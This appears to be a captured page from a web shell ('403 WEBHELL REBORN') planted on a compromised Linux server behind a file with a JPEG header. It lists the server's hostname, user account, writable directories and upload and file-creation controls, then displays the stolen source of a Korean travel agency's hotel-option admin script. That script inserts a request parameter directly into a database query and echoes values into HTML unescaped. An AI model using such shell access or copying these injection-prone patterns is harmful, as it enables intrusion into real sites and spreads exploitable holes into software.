ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/hotel_tw/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/hotel_tw/ajaxHotelDateOption.html
<?
include "../include/top_proc.html";

if (!$hseq) exit;

$CommonTour = new CommonTour();

// 호텔정보
$hotel_data = hotel_list(" and hseq='{$hseq}'  ");
$row_hotel = hotel_list_replace($hotel_data[0]);

// 옵션정보
$data_option = hotel_option($hseq,"","Y");

// 선택된 옵션 목록
if ($hdidx) {
	$data = hotel_date($hseq," and hdidx='{$hdidx}' ");
	$row = hotel_date_replace($data[0]);
	$hotel_option_arr = $row['option_all'];
}

?>
<div style="height: 200px; width:400px;overflow-x: hidden; overflow-y: auto;float:left;">
<table border="0" cellspacing="0" cellpadding="0" width="100%" class="setting_write" id="setting_write_option">
	<tr>
		<th width="10px"><input type="checkbox" id="option_all_item"></th><th>옵션명</th><th>판매가</th><th>대리점가</th>
	</tr>
		<?
			for($a=0 ; $a<count($data_option)  ;$a++)
			{
				$r = $data_option[$a];
				$check="";
				if(is_array($hotel_option_arr)) {
					foreach($hotel_option_arr as $v) {
						if($v['opid']==$r['opid']) $check="checked";
					}
				}
				// 외환 사용
				$op_price_sell=$r['op_price_sell'];
				if($row_hotel['exchange_fg']=="Y") {
				    $op_price_sell=$CommonTour->exchangeMoney(array("exid"=>$row_hotel['exid'],"money"=>$r['op_price_sell']));
				}
		?>
			<tr>
				<td>
					<input type="checkbox" name="" value="<?=$r['opid']?>" <?=$check?>>
					<input type="hidden" name="" value="<?=$r['op_nm']?>">
					<input type="hidden" name="" value="<?=$r['op_price_sell']?>">
					<input type="hidden" name="" value="<?=$r['op_price_agent']?>">
					<input type="hidden" name="" value="<?=$r['op_price_cost']?>">
				</td>
				<td><?=$r['op_nm']?></td>
				<td><?=$r['op_price_sell']?><?=$row_hotel['ext_nm']?></td>
				<td><?=$r['op_price_agent']?><?=$row_hotel['ext_nm']?></td>
			</tr>
		<?
			}
		?>
</table>
</div>

<div style="height: 200px; width:400px;overflow-x: hidden; overflow-y: auto;padding-left:5px;float:left;">
<table border="0" cellspacing="0" cellpadding="0" width="100%" class="setting_write" id="setting_write_option2">
	<tr>
		<th>옵션명</th><th>판매가</th><th>대리점가</th><th width="30px">-</th>
		<?if(is_array($hotel_option_arr)) {
				foreach($hotel_option_arr as $v) {
		?>
		<tr>
			<td>
				<input type="hidden" name="opid_ar[]" value="<?=$v['opid']?>">
				<input type="hidden" name="op_nm_ar[]" value="<?=$v['op_nm']?>">
				<input type="hidden" name="op_price_sell_ar[]" value="<?=$v['op_price_sell']?>">
				<input type="hidden" name="op_price_agent_ar[]" value="<?=$v['op_price_agent']?>">
				<input type="hidden" name="op_price_cost_ar[]" value="<?=$v['op_price_cost']?>">
				<?=$v['op_nm']?>
			</td>
			<td><?=number_format($v['op_price_sell'])?></td>
			<td><?=number_format($v['op_price_agent'])?></td>
			<td><span class="" style="cursor: pointer;" onclick="good_option_delrow($(this))">del</span></td>
		</tr>
		<?}}?>
	</tr>
</table>
</div>
<script type="text/javascript">
$(document).ready(function(){
	$("#setting_write_option > tbody > tr > td > input:checkbox").click(function(){
		var opid		= $(this).val();
		var op_nm		= $(this).parent().find("input:eq(1)").val();
		var op_price_sell		= $(this).parent().find("input:eq(2)").val();
		var op_price_agent	= $(this).parent().find("input:eq(3)").val();
		var op_price_cost		= $(this).parent().find("input:eq(4)").val();

		if($(this).prop("checked")==true)
		{
			str =				"<tr>";
			str = str + "<td><input type='hidden' name='opid_ar[]' value='"+opid+"'>";
			str = str + "<input type='hidden' name='op_nm_ar[]' value='"+op_nm+"'>";
			str = str + "<input type='hidden' name='op_price_sell_ar[]' value='"+op_price_sell+"'>";
			str = str + "<input type='hidden' name='op_price_agent_ar[]' value='"+op_price_agent+"'>";
			str = str + "<input type='hidden' name='op_price_cost_ar[]' value='"+op_price_cost+"'>";
			str = str + op_nm+"</td>";
			str = str + "<td>"+number_format(op_price_sell.toString())+"</td>";
			str = str + "<td>"+number_format(op_price_agent.toString())+"</td>";
			str = str + "<td><span class='' style='cursor:pointer;' onclick=\"good_option_delrow($(this))\">del</span></td>";
			str = str + "</tr>";

			$("#setting_write_option2 > tbody ").append(str);
		}else{
			$("#setting_write_option2 > tbody > tr > td > input:hidden").each(function(){
				if(opid==$(this).val())
				{
					$(this).parent().parent().remove();
				}
			});
		}
	});

	$("#option_all_item").click(function(){
		var ck = $(this).prop("checked");

		$("#setting_write_option > tbody > tr > td > input:checkbox").each(function(){
			if(ck==false){
				if($(this).prop("checked")==true) $(this).trigger("click");
			}else{
				if($(this).prop("checked")==false) $(this).trigger("click");
			}
			
		});
	});
});

function good_option_delrow($obj)
{
	var opid = $obj.parent().parent().find("input:eq(0)").val();
	
	$("#setting_write_option > tbody > tr > td > input:checkbox").each(function(){
		if($(this).val()==opid) $(this).prop("checked",false);
	});

	$obj.parent().parent().remove();
}
</script>


Anon7 - 2021